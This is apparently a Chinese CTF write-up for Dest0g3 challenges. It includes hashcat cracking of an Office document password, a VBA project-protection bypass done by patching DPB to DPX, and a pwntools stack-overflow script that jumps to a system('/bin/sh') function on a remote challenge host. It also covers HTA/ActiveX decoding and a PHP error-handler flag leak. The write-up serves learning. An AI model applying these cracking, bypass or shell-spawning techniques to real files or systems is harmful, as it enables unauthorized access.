javascript%22 %3 E%0 A%09 %09 %09 %09 %09 function%20 RunFile%28 %29 %20 %7 B%0 A%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 var%20 WshShell%20 %3 D%20 new%20 ActiveXObject%28 %22 WScript.Shell%22 %29 %3 B%0 A%09 %09 %09 %09 %09 WshShell.Run%28 %22 notepad%20 %25 windir%25 %2 FDesktop%2 Fjs.txt%22 %2 C%201 %2 C%20 false %29 %3 B%0 A%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %2 F*%20 var%20 oExec%20 %3 D%20 WshShell.Exec%28 %22 notepad%22 %29 %3 B%20 *%2
可以看到有一个script标签。我们把其他数据段也提出来,进行解码,然后只关注script标签部分。
1 <script language ="javascript" > document .write (unescape ('%3Chtml%3E%0A%3Cbody%3E%0A%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Ctitle%3EDo%20You%20Know%20js%3C%2Ftitle%3E%0A%3CHTA%3AAPPLICATION%0A%20%20APPLICATIONNAME%3D%22Do%20You%20Know%20js%22%0A%20%20ID%3D%22Inception%22%0A%20%20VERSION%3D%221.0%22%0A%20%20SCROLL%3D%22no%22%2F%3E%0A%20%0A%3Cstyle%20type%3D%22text%2Fcss%22%3E%0A%3C%2Fhead%3E%0A%20%20%20%20%3Cdiv%20id%3D%22feature%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cdiv%20id%3D%22content%0A%09%09%09%09%3C%2Fstyle%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ch1%20id%3D%22unavailable%22%20class%3D%22loading%22%3EBuilding%20js.....%3C%2Fh1%3E%0A%09%09%09%09%3Cscript%20type%3D%22text%2Fjavascript%22%20language%3D%22javascript%22%3E%0A%09%09%09%09%09function%20RunFile%28%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20var%20WshShell%20%3D%20new%20ActiveXObject%28%22WScript.Shell%22%29%3B%0A%09%09%09%09%09WshShell.Run%28%22notepad%20%25windir%25%2FDesktop%2Fjs.txt%22%2C%201%2C%20false%29%3B%0A%20%20%20%20%20%20%20%20%20%20%2F*%20var%20oExec%20%3D%20WshShell.Exec%28%22notepad%22%29%3B%20*%2F%0A%09%09%09%09%09%7D%0A%09%09%09%09%3C%2Fscript%3E%0A%20%20%20%20%20%20%20%20%3C%2Fdiv%3E%0A%20%20%20%20%3C%2Fdiv%3E%0A%3Cbody%3E%0A%09%3Cinput%20type%3D%22button%22%20value%3D%22Implant%20Inception%20Here%22%20onclick%3D%22RunFile%28%29%3B%22%2F%3E%0A%09%3Cp%20style%3D%22color%3Awhite%3B%22%3E%0A%0A%2B%2B%2B%2B%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B%2B..%20%2B%2B.-.%20%2B%2B.--%20--.%2B%2B%20%2B%2B.--%20%0A-.-.-%20--.%2B%2B%20%2B%2B%2B%2B.%0A%2B.---%20-..%2B%2B%20%2B%2B.%3C%2B%20%2B%2B%5B-%3E%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%5B-%20%0A%3E---%3C%20%5D%3E---%20---.%2B%20%2B%2B%2B%2B.%20-----%0A.%2B%2B%2B.%20...--%20---.%2B%20%2B%2B%2B%2B.%20---.%2B%20%2B%2B.--%20---.%2B%20%2B%2B%2B%2B.%20---..%20%2B%2B%2B%2B%2B%20%2B.---%20----.%0A%3C%2B%2B%2B%2B%20%5B-%3E%2B%2B%20%2B%2B%3C%5D%3E%20%2B%2B.%3C%2B%20%2B%2B%2B%5B-%20%3E----%20%3C%5D%3E-.%20---.%2B%0A%20%2B%2B%2B%2B%2B%20.----%20-.%2B%2B.%20%2B%2B.%2B.%0A--.--%20.%3C%2B%2B%2B%20%2B%5B-%3E%2B%20%2B%2B%2B%3C%5D%20%3E%2B%2B.%3C%20%2B%2B%2B%2B%5B%20-%3E---%20-%3C%5D%3E-%20%0A.%2B.-.%20---.%2B%20%2B%2B.%2B.%20-.%2B%2B%2B%0A%2B.---%20--.%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20.%3C%2B%2B%2B%20%5B-%3E--%20-%3C%5D%3E-%20----.%20----.%20%2B.%2B%2B%2B%20%2B.---%0A-.---%20.%2B%2B%2B.%20-..%3C%2B%20%2B%2B%2B%5B-%20%3E%2B%2B%2B%2B%20%3C%5D%3E%2B%2B%20%0A.%3C%2B%2B%2B%20%2B%5B-%3E-%20---%3C%5D%20%3E-.%2B%2B%20%2B%2B%2B.-%20----.%0A%2B%2B%2B..%20---.%2B%20%2B%2B.--%20--.%2B.%20..%2B%2B%2B%20%2B.-.-%20----.%20%2B%2B%2B%2B%2B%20%0A.----%20.%2B.%2B%2B%20%2B%2B.--%20--.%2B%2B%0A%2B%2B.-.%20----.%20%2B.-.%2B%20%2B%2B%2B%2B.%20%0A%3C%2B%2B%2B%5B%20-%3E%2B%2B%2B%20%3C%5D%3E%2B%2B%20%2B%2B.%3C%0A%3C%2Fp%3E%0A%3C%2Fbody%3E%0A%3C%2Fbody%3E%0A%20%20%3C%2Fhtml%3E%0A' ));</script >
中间的代码提取出来。打开浏览器的开发模式,在控制台里面把中间代码敲上。
界面出现了一些元素。翻找页面元素。发现了一个p标签颜色是白色的,由于背景也是白的,所以在我们这算是不可见。打开看看。里面是brainfuck的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 +++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- -.-.- --.++ ++++. +.--- -..++ ++.<+ ++[-> +++<] >++.< +++[- >---< ]>--- ---.+ ++++. ----- .+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----. <++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+ +++++ .---- -.++. ++.+. --.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>- .+.-. ---.+ ++.+. -.+++ +.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.--- -.--- .+++. -..<+ +++[- >++++ <]>++ .<+++ +[->- ---<] >-.++ +++.- ----. +++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++ .---- .+.++ ++.-- --.++ ++.-. ----. +.-.+ ++++. <+++[ ->+++ <]>++ ++.<
解码得到:
1 446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D
十六进制转换为字符串:
1 2 3 4 import libnumprint (libnum.n2s(0x446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D ))
EasyWord
用hashcat对password.docm进行爆破。
首先提取文件的hash。
1 2 3 ┌──(kali㉿kali)-[~/CTF/Dest0g] └─$ office2john password.docm password.docm:$office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1
得到输出去掉前面的文件名写入到文件里。
1 2 3 4 5 6 7 8 9 10 11 12 10600 | PDF 1 .7 Level 3 (Acrobat 9 ) | Documents10700 | PDF 1 .7 Level 8 (Acrobat 10 - 11 ) | Documents 9400 | MS Office 2007 | Documents 9500 | MS Office 2010 | Documents 9600 | MS Office 2013 | Documents 9700 | MS Office <= 2003 $0 /$1 , MD5 + RC4 | Documents 9710 | MS Office <= 2003 $0 /$1 , MD5 + RC4, collider #1 | Documents 9720 | MS Office <= 2003 $0 /$1 , MD5 + RC4, collider #2 | Documents 9800 | MS Office <= 2003 $3 /$4 , SHA1 + RC4 | Documents 9810 | MS Office <= 2003 $3 , SHA1 + RC4, collider #1 | Documents 9820 | MS Office <= 2003 $3 , SHA1 + RC4, collider #2 | Documents
我们得到hash头是office2010,type为9500。
hint中提示密码为:
1 2 3 The length of docm 's password is 6 The Regular Expression of the password is : q b
采用掩码爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌──(kali㉿kali)-[~/CTF/Dest0g] └─$ hashcat docxhash -a 3 -m 9500 ?l?lq?lb?l ... ... $office$*2010*100000*128*16*d135d71212d659473f2b5fb4bf46d78e*e0a8853d6d0c42cafd62c82dda2fbc6e*d0889853485e2aeb49c06a1d3d691fc81ffb42a35f97c83d0ed5c646066f4ab1:ulqsbt Session..........: hashcat Status...........: Cracked Hash.Name........: MS Office 2010 Hash.Target......: $office$*2010*100000*128*16*d135d71212d659473f2b5fb...6f4ab1 Time.Started.....: Mon May 23 14:56:52 2022 (4 mins, 53 secs) Time.Estimated...: Mon May 23 15:01:45 2022 (0 secs) Guess.Mask.......: ?l?lq?lb?l [6] Guess.Queue......: 1/1 (100.00%) Speed. Recovered........: 1/1 (100.00%) Digests Progress.........: 421888/456976 (92.32%) Rejected.........: 0/421888 (0.00%) Restore.Point....: 12288/17576 (69.91%) Restore.Sub. Candidates.
得到密码为ulqsbt。但是我的word不知道为什么打不开这个文档。没辙了,我也懒得下其他office。
后面发现是WindowsDefender给我拦了…
打开文件,运行宏,弹出一个对话框。要求输入对应的口令。但是咱不知道口令。看看VBA的代码吧。结果VBA的代码是加密的,服了。52上面找到了如何破解。
首先另存为这个docm文件。将新保存的文件用zip打开。找到word/vbaProject.bin。取出来用二进制查看器打开。查找文件中的"DPB"字符串。将其修改为“DPX”
1 2 3 DPB = "6A68C60DC22AC22A3DD6C32A01D8603CA71D723AE102E0FFC37E6C3974F6CB68433CB3841C" TO:DPX = "6A68C60DC22AC22A3DD6C32A01D8603CA71D723AE102E0FFC37E6C3974F6CB68433CB3841C"
保存之后,重新改为docm文件。打开,这样我们就能打开对应的project了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Private Sub CB_OK_Click()Dim strpasw As String Dim strdec As String Dim strusrinput As String Dim t As String t = ChrW(21152 ) & ChrW(27833 ) & ChrW(21543 ) & ChrW(65292 ) & ChrW(21516 ) & ChrW(23398 ) & ChrW(20204 ) & ChrW(65281 ) strusrinput = Dialog.TextBox_PaswDim sinput As String sinput = strusrinputIf (strusrinput <> "" ) Then strusout = Encode(strusrinput, t) If (strusout = "┤℡ǒqx~" ) Then strdec = Decode(Dialog.Label_ls.Caption, sinput) Else If (strusout = "kGJEgq" ) Then strdec = Decode(Dialog.Label_ls1.Caption, sinput) Else If (strusout = "ЮΟopz+" ) Then strdec = Decode(Dialog.Label_ls2.Caption, sinput) Else If (strusout = "zΚjrШφεあ" ) Then strdec = Decode(Dialog.Label_ls4.Caption, sinput) Else If (strusout = "àǖtUw┧hè" ) Then strdec = Decode(Dialog.Label_ls3.Caption, sinput) Else strdec = "密码不正确,别泄气再来!" End If End If End If End If End If Label_CLUE.Caption = strdecEnd If End Sub
只要看这个按钮事件即可。
这里面要判断我们的输入是否满足要求。
我们的字符串首先进入了Encode编码了一下。而且用的是固定密钥,所以我们直接Decode对应的目标字符串就能得到我们想要的输入是什么。
1 2 3 4 5 "┤℡ǒqx~" : 123456"kGJEgq" : aaaaaa "ЮΟopz+" : 000000"zΚjrШφεあ" : 墙角数枝"àǖtUw┧hè" : iloveyou
以上是对应的字符串所需要输入的数据。
依次尝试,只有“墙角数枝”给出了提示:
Rar密码为复杂型,长度为16位,包含了字母、数字和符号。这一行诗加上符号刚好16位。我觉得就是把这句诗首字母提出来就行了,加上符号。由于要有数字,所以一改为1,两改为2。
发现不对,又换了其他的密码。
1 2 3 2ZHLMCL ,1 HBLSQT!2zhlmcl ,1 HBLSQT!2ZHLMCL ,1 hblsqt!
这些都不对,奇了怪了…
最后写了个脚本把所有大小写都爆破一遍,还是不行…
最后把这个小问题给了我队友,结果给他解出来了。密码是:
给我干沉默了…
Python_jail
解压之后,有个压缩包要密码,然后有一个password和hint。看了一下password,全是空白字符,以为是SNOW隐写,但是hint里面说是一种语言,所以应该是white_space语言。
https://vii5ard.github.io/whitespace/
将password里面的数据导入,点击右上角的Run运行。得到密码:
1 a8e15220 -7404 -4269 -812 e-6418557 b7dc2
解压得到一张图片。
LSB提取有些信息比较令人注意。在三通道LSB下:
1 2 3 4 5 6 7 8 9 10 11 12 13 e99881e59ca8e8bf 99e9878c5a6d7868 ........ ....Zmxh 5a3374694e574a6a 5a6d4d344e793031 Z3tiNWJj ZmM4Ny01 593245324c54517a 5a6a4574596a4d34 Y2E2LTQz ZjEtYjM4 4e4330314e325177 4f5749344f445a6a NC01N2Qw OWI4ODZj 59546c3975230000 00e7949fe68890e6 YTl9u 8890e58a9f0a4669 6e6420697420696e ......Fi nd it in 20796f757220666f 6c6465724e2904da your fo lderN).. 046f70656eda0466 696c65da05777269 .open..f ile..wri 7465da057072696e 74a9007206000000 te..prin t..r.... 7206000000fa0766 6c61672e7079da08 r......f lag.py.. 3c6d6f64756c653e 0100000073040000 <module> ....s... 000a020a01004190 409b0eccc7d6a2f9 ......A. @....... df7fff3fffffffff 57fedfe2a159ef50 ..?.... W....Y.P
上面是一串base64
1 2 3 4 5 ZmxhZ3 tiNWJjZmM4 Ny01 Y2 E2 LTQzZjEtYjM4 NC01 N2 QwOWI4 ODZjYTl9 u base64 : flag{b5 bcfc87 -5 ca6 -43 f1 -b384 -57 d09 b886 ca9 }# Dest0 g3 {b5 bcfc87 -5 ca6 -43 f1 -b384 -57 d09 b886 ca9 }
但是这不是我们想要的flag。我给他套了一个Dest0g3交上去不对。
下面这段话就看的我头大了。没有看懂这是啥意思。感觉像是让python脚本来写出flag。那么这个flag.py在哪里呢?
1 2 3 4 Find it in your folderopen file write print flag.py <module>
后面试了一下直接把flag提交了,没想到竟然过了…
4096
启动靶机,是一个4096小游戏,在local_storage_manager.js中找到了一部分的flag。
1 2 3 4 5 6 function getPartFlag (score ) { if (score > 10000 ) { console .log ("Q29uZ3JhdHVsYXRpb25zLCB0aGlzIGlzIHBhcnQgb2YgdGhlIGZsYWc6IE5HVmxOeTFpTmpjekxUazNNV1E0TVdZNFlqRTNOMzA9Lg==" ); } } # 4ee7-b673-971d81f8b177}
在看网页元素的时候一个img很奇怪。
1 <img src ="favicon.png" width ="1" height ="1" >
大小为1,但实际上图片大小不是这个。把这个文件下载下来。
文件大小不对。这个png有12mb。很显然里面藏了东西。
二进制打开看看。
在PNG头的下方还有一个RIFF头,这是一个音频文件。把PNG部分删了之后就可以用音频打开了。音频隐写我不太会说实话。
文件的尾部还有一个jpg。binwalk分离出来一个压缩包。里面是这个文件。但是需要密码。我觉得密码是在音频中。
前面部分和最后很明显是拨号音,只截取前后的DTMF的话得到的是:
但这也不是密码啊。这是个什么脑洞。
问了一下我们组的人,叫我试试SSTV。说实话我是没想到是SSTV,也算是长见识了,第一次做这种题了。
sstv解码之后就是一张图片了,不过是倒过来的。
1 2 3 4 5 password: MD5(cell phone number )
电话号码我们已经拿到了,所以直接md5看看。
1 2 MD5: 6 c6551787d7071ff48400b855b851ccb
结果并不是这个密码。手机号好像没有7开头的吧,而我们得到的数据最后一位是1,说不定是将得到的数据反转。试试。
1 2 3 74958097831 -> 13879085947 MD5:3 f119efa3254ae786fe44aff4582faa4
结果还是不对…我是直接用的数字进行加密的,说不定是先对字符串进行编码。
1 2 >>> md5(b"13879085947" ).hexdigest()'32fc1b5487cb447f792a19418b92544e'
这下终于解开了。
结果里面是个小拼图。
这里直接用工具就可以解了,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ┌──(kali㉿kali)-[~/gaps/gaps/bin] └─$ python3 gaps --image=part_flag.jpg --size=64 --save === Population: 200 === Generations: 20 === Piece size: 64 px === Pieces: 240 === Analyzing image: ██████████████████████████████████████████████████ 100.0% === Solving puzzle: ███████████████████████████████████████----------- 78.9% === GA terminated === There was no improvement for 10 generations === Done in 17.401 s === Result saved as 'part_flag_solution.jpg' === Close figure to exit
结果这个每次跑都不太一样,没有那种可以完美复原的。看来只能自己来拼接了。
1 2 3 4 5 6 7 RGVzdD kMTE0Zi05Z BnM3tlZDR U0 WLQ ==
写个脚本跑一下结果吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import itertoolsfrom base64 import b64decode table = ["RGVzdD" ,"kMTE0Zi05Z" ,"BnM3tlZDR" ,"U0" ,"W" ,"LQ" ]for i in itertools.permutations(table, len (table)): data = '' .join(i) + "==" data = b64decode(data) if b"Dest0g3{" in data: print (data) """ b'Dest0g3{ed4d114f-9eM\x16-' b'Dest0g3{ed4d114f-9eM\x0bA' b'Dest0g3{ed4d114f-9ee4-' b'Dest0g3{ed4d114f-9eb\xd0S' b'Dest0g3{ed4d114f-9d\xb4\x14\xd1' b'Dest0g3{ed4d114f-9d\xb4\x16S' b'Dest0g3{ed4T\xd2C\x13\x13Fb\xd3\x96V-' b'Dest0g3{ed4T\xd2C\x13\x13Fb\xd3\x96KA' b'Dest0g3{ed4T\xd1i\x0cLM\x19\x8bNY-' .... .... """
和上面的flag进行组合得到:
1 # Dest0g3{ed4d114f-9 ee4-4 ee7-b673-971 d81f8b177}
Reverse
simpleXOR
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __cdecl main (int argc, const char **argv, const char **envp) { int v4[72 ]; char v5[52 ]; int v6; unsigned int j; int i; v6 = 247 ; printf ("input flag:" ); __isoc99_scanf("%s" , v5); for ( i = 0 ; i <= 35 ; ++i ) { v4[i + 36 ] = v5[i]; v4[i] = v6 ^ (v4[i + 36 ] + i); } for ( j = 0 ; j <= 0x23 ; ++j ) { if ( v4[j] != result_0[j] ) { puts ("Wrong!!!" ); return 0 ; } if ( j == 35 ) puts ("Success!!!" ); } return 0 ; }
找到result_0的值:
1 2 3 4 5 0xb3 ,0 x91,0 x82,0 x80,0 xc3,0 x9b,0 xce,0 x75,0xcf ,0 x9c,0 x9a,0 x85,0 x85,0 xcd,0 xb8,0 x84,0xaa ,0 x7d,0 xbd,0 xbb,0 xb1,0 xb5,0 x96,0 x71,0x8d ,0 x9e,0 x86,0 xbf,0 x73,0 xa8,0 xa3,0 x9c,0x83 ,0 x65,0 x9e,0 x57
求逆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 data = [0xb3 ,0x91 ,0x82 ,0x80 , 0xc3 ,0x9b ,0xce ,0x75 , 0xcf ,0x9c ,0x9a ,0x85 , 0x85 ,0xcd ,0xb8 ,0x84 , 0xaa ,0x7d ,0xbd ,0xbb , 0xb1 ,0xb5 ,0x96 ,0x71 , 0x8d ,0x9e ,0x86 ,0xbf , 0x73 ,0xa8 ,0xa3 ,0x9c , 0x83 ,0x65 ,0x9e ,0x57 ] key = 247 for i in range (len (data)): print (chr ((data[i]^key) - i), end="" ) print ("\n" )
hi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl main (int argc, const char **argv, const char **envp) { int i; int v1; char enc[45 ]; char str[100 ]; unsigned __int64 v8; v8 = __readfsqword(0x28 u); *(_QWORD *)str = 0LL ; *(_QWORD *)&str[8 ] = 0LL ; *(_QWORD *)&str[16 ] = 0LL ; *(_QWORD *)&str[24 ] = 0LL ; *(_QWORD *)&str[32 ] = 0LL ; *(_QWORD *)&str[40 ] = 0LL ; *(_QWORD *)&str[48 ] = 0LL ; *(_QWORD *)&str[56 ] = 0LL ; *(_QWORD *)&str[64 ] = 0LL ; *(_QWORD *)&str[72 ] = 0LL ; *(_QWORD *)&str[80 ] = 0LL ; *(_QWORD *)&str[88 ] = 0LL ; *(_DWORD *)&str[96 ] = 0 ; *(_QWORD *)enc = 0x9F8E7A1CC6486497 LL; *(_QWORD *)&enc[8 ] = 0x69EEF382E760BD46 LL; *(_QWORD *)&enc[16 ] = 0xB9C017E2E30EF749 LL; *(_QWORD *)&enc[24 ] = 0x98410148A430392C LL; *(_QWORD *)&enc[32 ] = 0xE80E7411E5B5A939 LL; *(_DWORD *)&enc[40 ] = -1517552212 ; enc[44 ] = 109 ; fwrite("input: " , 1uLL , 7uLL , stdout ); fgets(str, 46 , stdin ); if ( strlen (str) != 45 ) exit (0 ); for ( i = 0 ; i <= 44 ; ++i ) { v1 = 23 * str[i]; if ( ((unsigned int )((v1 + x[i]) >> 31 ) >> 24 ) + (_BYTE)v1 + x[i] - ((unsigned int )((v1 + x[i]) >> 31 ) >> 24 ) != enc[i] ) exit (0 ); } puts ("good!" ); return 0 ; }
这里的数据初始化一部分放在了代码里面,对于enc变量,我们可以运行程序然后从内存里dump出来。这里面又是DWORD又是BYTE又是QWORD,还有负数在里面,自己写很有可能出问题,所以选择从内存中dump。
1 2 3 4 5 6 0x7fffffffdf10 : 0 x97 0 x64 0 x48 0 xc6 0 x1c 0 x7a 0 x8e 0 x9f0x7fffffffdf18 : 0 x46 0 xbd 0 x60 0 xe7 0 x82 0 xf3 0 xee 0 x690x7fffffffdf20 : 0 x49 0 xf7 0 x0e 0 xe3 0 xe2 0 x17 0 xc0 0 xb90x7fffffffdf28 : 0 x2c 0 x39 0 x30 0 xa4 0 x48 0 x01 0 x41 0 x980x7fffffffdf30 : 0 x39 0 xa9 0 xb5 0 xe5 0 x11 0 x74 0 x0e 0 xe80x7fffffffdf38 : 0 xac 0 xfd 0 x8b 0 xa5 0 x6d
x直接就在文件里面,直接找出来就行。
1 if ( ((unsigned int )((v1 + x[i]) >> 31 ) >> 24 ) + (_BYTE)v1 + x[i] - ((unsigned int )((v1 + x[i]) >> 31 ) >> 24 ) != enc[i] )
这里有一个BYTE转换,实际上v1是int类型的,这就丢数据了。我们逆向过程不太能解。由于这个题目数据前后没有关联性,所以可以采用爆破的方式,复杂度为O(n),是可以爆破的,也就字符集*45的大小。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <stdlib.h> #include <stdio.h> #include <windef.h> char x[] = {0x7b , 0x51 , 0xf3 , 0x5a , 0xcc , 0x39 , 0xf9 , 0x92 , 0x1c , 0x9e , 0x58 , 0x69 , 0x9d , 0xf7 , 0xfd , 0x4a , 0x3e , 0xfb , 0x1d , 0x2c , 0x4d , 0x0c , 0x70 , 0xb1 , 0x3b , 0x8d , 0x25 , 0xed , 0x91 , 0xb1 , 0x73 , 0x8d , 0x82 , 0xe6 , 0xe7 , 0x50 , 0x20 , 0x61 , 0x62 , 0x3c , 0 , 0x3a , 0xa6 , 0x9d , 0x32 }; BYTE enc[] = {0x97 , 0x64 , 0x48 , 0xc6 , 0x1c , 0x7a , 0x8e , 0x9f , 0x46 , 0xbd , 0x60 , 0xe7 , 0x82 , 0xf3 , 0xee , 0x69 , 0x49 , 0xf7 , 0x0e , 0xe3 , 0xe2 , 0x17 , 0xc0 , 0xb9 , 0x2c , 0x39 , 0x30 , 0xa4 , 0x48 , 0x01 , 0x41 , 0x98 , 0x39 , 0xa9 , 0xb5 , 0xe5 , 0x11 , 0x74 , 0x0e , 0xe8 , 0xac , 0xfd , 0x8b , 0xa5 , 0x6d };int main () { int index = 0 ; while (index < 45 ) { for (int i = 0x20 ; i <= 0x7e ; i++) { int v1 = 23 *i; if ( ((unsigned int )((v1 + x[index]) >> 31 ) >> 24 ) + (BYTE)v1 + x[index] - ((unsigned int )((v1 + x[index]) >> 31 ) >> 24 ) == enc[index] ){ printf ("%c" , i); break ; } } index ++; } return 0 ; }
其实那个左移31+24位可以直接去掉了,unsigned int也是4字节的,4字节一共才32位,所以前面和后面的那两个位移就是0,可以去掉。
嗯…但是跑出来的结果好像不太对,少了一部分的数据。看起来是数据类型的问题。主要是这个char他的正负有点难搞。最后统一了一下判断的格式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <stdlib.h> #include <stdio.h> #include <windef.h> BYTE x[] = {0x7b , 0x51 , 0xf3 , 0x5a , 0xcc , 0x39 , 0xf9 , 0x92 , 0x1c , 0x9e , 0x58 , 0x69 , 0x9d , 0xf7 , 0xfd , 0x4a , 0x3e , 0xfb , 0x1d , 0x2c , 0x4d , 0x0c , 0x70 , 0xb1 , 0x3b , 0x8d , 0x25 , 0xed , 0x91 , 0xb1 , 0x73 , 0x8d , 0x82 , 0xe6 , 0xe7 , 0x50 , 0x20 , 0x61 , 0x62 , 0x3c , 0 , 0x3a , 0xa6 , 0x9d , 0x32 }; BYTE enc[] = {0x97 , 0x64 , 0x48 , 0xc6 , 0x1c , 0x7a , 0x8e , 0x9f , 0x46 , 0xbd , 0x60 , 0xe7 , 0x82 , 0xf3 , 0xee , 0x69 , 0x49 , 0xf7 , 0x0e , 0xe3 , 0xe2 , 0x17 , 0xc0 , 0xb9 , 0x2c , 0x39 , 0x30 , 0xa4 , 0x48 , 0x01 , 0x41 , 0x98 , 0x39 , 0xa9 , 0xb5 , 0xe5 , 0x11 , 0x74 , 0x0e , 0xe8 , 0xac , 0xfd , 0x8b , 0xa5 , 0x6d };int main () { int index = 0 ; while (index < 45 ) { int i; for (i = 0x0 ; i <= 0xff ; i++) { int v1 = 23 * i; if ((char )((BYTE)v1 + x[index]) == (char )(enc[index])) { printf ("%c" , i); break ; } } index++; } return 0 ; }
PWN
ez_arrch
1 2 3 4 5 6 7 8 __int64 sub_968 () { char buf; puts ("Please leave your name:" ); read(0 , &buf, 0x30 uLL); return puts ("OK, you can exploit it now." ); }
反汇编能看到这个函数,这里就存在一个栈溢出。接下来就是看看用什么溢出的方式了。
翻二进制数据的时候发现了一个“/bin/sh”的字符串,加上程序提供了system这个函数,所以想通过这个方式来进行溢出。
当我跟随这个字符串的时候,发现他是在另外一个函数里面的。
1 2 3 4 5 6 7 8 9 10 11 12 .text:000000000000093 C ; --------------------------------------------------------------------------- .text:000000000000093 C ; __unwind { .text:000000000000093 C STP X29, X30, [SP,#-0x10 ]! .text:0000000000000940 MOV X29, SP .text:0000000000000944 ADRL X0, aOkYouGetIt ; "OK, you get it !" .text:000000000000094 C BL .puts .text:0000000000000950 ADRL X0, aBinSh ; "/bin/sh" .text:0000000000000958 BL .system .text:000000000000095 C NOP .text:0000000000000960 LDP X29, X30, [SP],#0x10 .text:0000000000000964 RET .text:0000000000000964 ; }
那么我们直接跳这个函数就行了,不需要再用system+参数了。而且我看了看system的地址好像也挺奇怪的。
1 2 3 4 5 6 7 import pwn r = pwn.remote("node4.buuoj.cn" , 28099 ) func_addr = 0x4000000000 + 0x93c r.send(pwn.p64(func_addr)*10 ) r.interactive()
Web
phpdest
这题网上直接有解,由于我本身对Web不太熟悉,这里我只是运气好碰上了。
这里给出地址:
https://blog.csdn.net/fmyyy1/article/details/117256082
EasyPHP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file (__FILE__ );include "fl4g.php" ;$dest0g3 = $_POST ['ctf' ];$time = date ("H" );$timme = date ("d" );$timmme = date ("i" );if (($time > "24" ) or ($timme > "31" ) or ($timmme > "60" )){ echo $fl4g ; }else { echo "Try harder!" ; }set_error_handler ( function() use (&$fl4g ) { print $fl4g ; } );$fl4g .= $dest0g3 ;?>
主要就是要来触发这个set_error_handler,所以上传一个语法错误就行了。这里传的是一个数组。
1 # Dest0g3{aa4f0051-414 d-46 bf-ab12-599 c5596c8e4}
未完成
Bag
由于源程序中的数据占了很大一部分,这里的代码我自己进行了修改,把数据采用生成的方式来表示了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import gmpy2from Crypto.Util.number import *from secret import flag message = bytes_to_long(flag[8 :-1 ]) Baglenth=286 Bag=[2 , 3 ]while len (Bag) <= Baglenth: Bag.append(Bag[-1 ]*2 ) Bag=Bag[::-1 ] m=372992427307339981616536686110115630075342113098010788080347982669869622759400031649792 w=274062421102700155372289583695782343443 assert gmpy2.gcd(m,w)==1 h=0 j=0 if m.bit_length()%2 ==0 : h=m.bit_length() j=int (h//2 )else : h=m.bit_length() j=int (h//2 +1 )def pad (m,lenth ): while len (m)<lenth: m='0' +m return mdef keygen (): pk=[] sk=[] sk.append(m) sk.append(int (gmpy2.invert(w,m))) D=[] binD=[] for i in range (Baglenth): di=(w*Bag[i])%m D.append(di) bindi=bin (di)[2 :] bindi=pad(bindi,h) binD.append(bindi) U=[] V=[] for i in range (Baglenth): tempu=int (str (binD[i][:j]),2 ) U.append(tempu) tempv=int (str (binD[i][j:]),2 ) V.append(tempv) e=gmpy2.next_prime(sum (V))+2 f=gmpy2.next_prime(sum (U)) assert gmpy2.gcd(e,f)==1 sk.append(int (e)) sk.append(int (f)) for i in range (Baglenth): ai=e*U[i]+f*V[i] pk.append(int (ai)) return pk,sk Pk,Sk=keygen()print (Pk)print (Sk)def Encrypt (plain,pk ): mbin=bin (plain)[2 :] c=0 mbin=pad(mbin,Baglenth) for i in range (Baglenth): c=c+int (mbin[i])*pk[i] return c c=Encrypt(message,Pk)print (c)
找到了相关的资料:
https://blog.csdn.net/qq_43968080/article/details/102953485
可以看到代码中的Bag很明显符合这个超增量背包这个概念,说明这个魔改的背包公钥算法。而观察背包公钥算法的解密部分,需要的求一个逆让密文与这个逆进行模乘运算,最后使用超增量的方式进行贪心遍历即可得到解。
原本想了一下,Pk本身不就是一个超增量背包吗,不能直接进行排序求解吗,结果还真不行。
看一下sk都给了些什么,m,w和e,f都给了。
